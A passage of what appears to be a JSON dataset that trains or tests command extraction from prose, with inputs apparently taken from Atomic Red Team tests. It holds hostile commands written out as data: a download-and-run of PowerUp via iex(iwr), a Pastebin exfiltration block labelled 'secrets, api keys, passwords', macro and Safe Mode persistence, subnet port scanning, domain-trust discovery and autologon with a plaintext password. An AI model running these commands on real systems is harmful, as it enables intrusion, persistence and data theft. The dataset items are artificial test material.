[Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By executing this registry modification, your service will be loaded in Safe Mode with networking: REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Network\\AtomicSafeMode\" /VE /T REG_SZ /F /D \"Service\"; To disable Windows toast notifications for the current user, you can modify the registry by running the following command in the cmd console: reg add HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"REG ADD \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Network\\\\AtomicSafeMode\\\" /VE /T REG_SZ /F /D \\\"Service\\\"\\n\", \"reg add HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For scanning common ports across a /24 subnet, the script below can be used. It automatically detects the primary IPv4 address if none is specified, and includes a timeout parameter to speed up the scan: $ipAddr = \"#{ip_address}\"\nif ($ipAddr -like \"*,*\") {\n    $ip_list = $ipAddr -split \",\"\n    $ip_list = $ip_list.ForEach({ $_.Trim() })\n    Write-Host \"[i] IP Address List: $ip_list\"\n\n    $ports = #{port_list}\n\n    foreach ($ip in $ip_list) {\n        foreach ($port in $ports) {\n            Write-Host \"[i] Establishing connection to: $ip : $port\"\n            try {\n                $tcp = New-Object Net.Sockets.TcpClient\n                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\n            } catch {}\n            if ($tcp.Connected) {\n                $tcp.Close()\n                Write-Host \"Port $port is open on $ip\"\n            }\n        }\n    }\n} elseif ($ipAddr -notlike \"*,*\") {\n    if ($ipAddr -eq \"\") {\n        # Assumes the \"primary\" interface is shown at the top\n        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1\n        Write-Host \"[i] Using Interface $interface\"\n        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress\n    }\n    Write-Host \"[i] Base IP-Address for Subnet: $ipAddr\"\n    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.'))\n    # Always assumes /24 subnet\n    Write-Host \"[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'\"\n\n    $ports = #{port_list}\n    $subnetIPs = 1..254 | ForEach-Object { \"$subnetSubstring$_\" }\n\n    foreach ($ip in $subnetIPs) {\n        foreach ($port in $ports) {\n            try {\n                $tcp = New-Object Net.Sockets.TcpClient\n                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\n            } catch {}\n            if ($tcp.Connected) {\n                $tcp.Close()\n                Write-Host \"Port $port is open on $ip\"\n            }\n        }\n    }\n} else {\n    Write-Host \"[Error] Invalid Inputs\"\n    exit 1\n}; You can verify if remote desktop services are running by executing this command: Get-Service -Name \"Remote Desktop Services\", \"Remote Desktop Configuration\"",
    "output": "{\"command_list\": [\"$ipAddr = \\\"#{ip_address}\\\"\\nif ($ipAddr -like \\\"*,*\\\") {\\n    $ip_list = $ipAddr -split \\\",\\\"\\n    $ip_list = $ip_list.ForEach({ $_.Trim() })\\n    Write-Host \\\"[i] IP Address List: $ip_list\\\"\\n\\n    $ports = #{port_list}\\n\\n    foreach ($ip in $ip_list) {\\n        foreach ($port in $ports) {\\n            Write-Host \\\"[i] Establishing connection to: $ip : $port\\\"\\n            try {\\n                $tcp = New-Object Net.Sockets.TcpClient\\n                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\\n            } catch {}\\n            if ($tcp.Connected) {\\n                $tcp.Close()\\n                Write-Host \\\"Port $port is open on $ip\\\"\\n            }\\n        }\\n    }\\n} elseif ($ipAddr -notlike \\\"*,*\\\") {\\n    if ($ipAddr -eq \\\"\\\") {\\n        # Assumes the \\\"primary\\\" interface is shown at the top\\n        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1\\n        Write-Host \\\"[i] Using Interface $interface\\\"\\n        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress\\n    }\\n    Write-Host \\\"[i] Base IP-Address for Subnet: $ipAddr\\\"\\n    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)\\n    # Always assumes /24 subnet\\n    Write-Host \\\"[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'\\\"\\n\\n    $ports = #{port_list}\\n    $subnetIPs = 1..254 | ForEach-Object { \\\"$subnetSubstring$_\\\" }\\n\\n    foreach ($ip in $subnetIPs) {\\n        foreach ($port in $ports) {\\n            try {\\n                $tcp = New-Object Net.Sockets.TcpClient\\n                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\\n            } catch {}\\n            if ($tcp.Connected) {\\n                $tcp.Close()\\n                Write-Host \\\"Port $port is open on $ip\\\"\\n            }\\n        }\\n    }\\n} else {\\n    Write-Host \\\"[Error] Invalid Inputs\\\"\\n    exit 1\\n}\", \"Get-Service -Name \\\"Remote Desktop Services\\\", \\\"Remote Desktop Configuration\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Available network shares can be displayed in the PowerShell session by executing this command: get-smbshare; You can check all resources shared on the local computer by using the command: net share\n",
    "output": "{\"command_list\": [\"get-smbshare\\n\", \"net share\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    After installing dsquery through Windows RSAT or the Windows Server AD DS role, domain trusts can be discovered by executing: dsquery * -filter \"(objectClass=trustedDomain)\" -attr *; After installing nltest through Windows RSAT or the Windows Server AD DS role, execute these commands to reveal domain trusts, a technique known to be used by the Trickbot malware family:\nnltest /domain_trusts\nnltest /trusted_domains\n",
    "output": "{\"command_list\": [\"dsquery * -filter \\\"(objectClass=trustedDomain)\\\" -attr *\\n\", \"nltest /domain_trusts\\nnltest /trusted_domains\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test performs data exfiltration to Pastebin with the command:\n$apiKey = \"#{api_key}\"\n$content = \"secrets, api keys, passwords...\"\n$url = \"https://pastebin.com/api/api_post.php\"\n$postData = @{\n  api_dev_key   = $apiKey\n  api_option    = \"paste\"\n  api_paste_code = $content\n}\n$response = Invoke-RestMethod -Uri $url -Method Post -Body $postData\nWrite-Host \"Your paste URL: $response\"\n; As described in MDSEC's research, Outlook macros can be weaponized for persistence by adjusting registry settings and placing a specific file. The required configuration can be achieved with this command sequence: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Security\\Level\" /t REG_DWORD /d 1 /f\nmkdir  %APPDATA%\\Microsoft\\Outlook\\ >nul 2>&1\necho \"Atomic Red Team TEST\" > %APPDATA%\\Microsoft\\Outlook\\VbaProject.OTM",
    "output": "{\"command_list\": [\"$apiKey = \\\"#{api_key}\\\"\\n$content = \\\"secrets, api keys, passwords...\\\"\\n$url = \\\"https://pastebin.com/api/api_post.php\\\"\\n$postData = @{\\n  api_dev_key   = $apiKey\\n  api_option    = \\\"paste\\\"\\n  api_paste_code = $content\\n}\\n$response = Invoke-RestMethod -Uri $url -Method Post -Body $postData\\nWrite-Host \\\"Your paste URL: $response\\\"\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Outlook\\\\Security\\\\Level\\\" /t REG_DWORD /d 1 /f\\nmkdir  %APPDATA%\\\\Microsoft\\\\Outlook\\\\ >nul 2>&1\\necho \\\"Atomic Red Team TEST\\\" > %APPDATA%\\\\Microsoft\\\\Outlook\\\\VbaProject.OTM\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For LockBit Black, you can turn off the Privacy Settings Experience with the command: reg add \"HKCU\\Software\\Policies\\Microsoft\\Windows\\OOBE\" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f; Configure automatic logon settings via Registry Editor by executing these commands: reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v AutoAdminLogon /t REG_DWORD /d 1 /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultUserName /t REG_SZ /d Administrator /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultDomainName /t REG_SZ /d contoso.com /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultPassword /t REG_SZ /d password1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\OOBE\\\" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" /v AutoAdminLogon /t REG_DWORD /d 1 /f\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" /v DefaultUserName /t REG_SZ /d Administrator /f\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" /v DefaultDomainName /t REG_SZ /d contoso.com /f\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" /v DefaultPassword /t REG_SZ /d password1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp 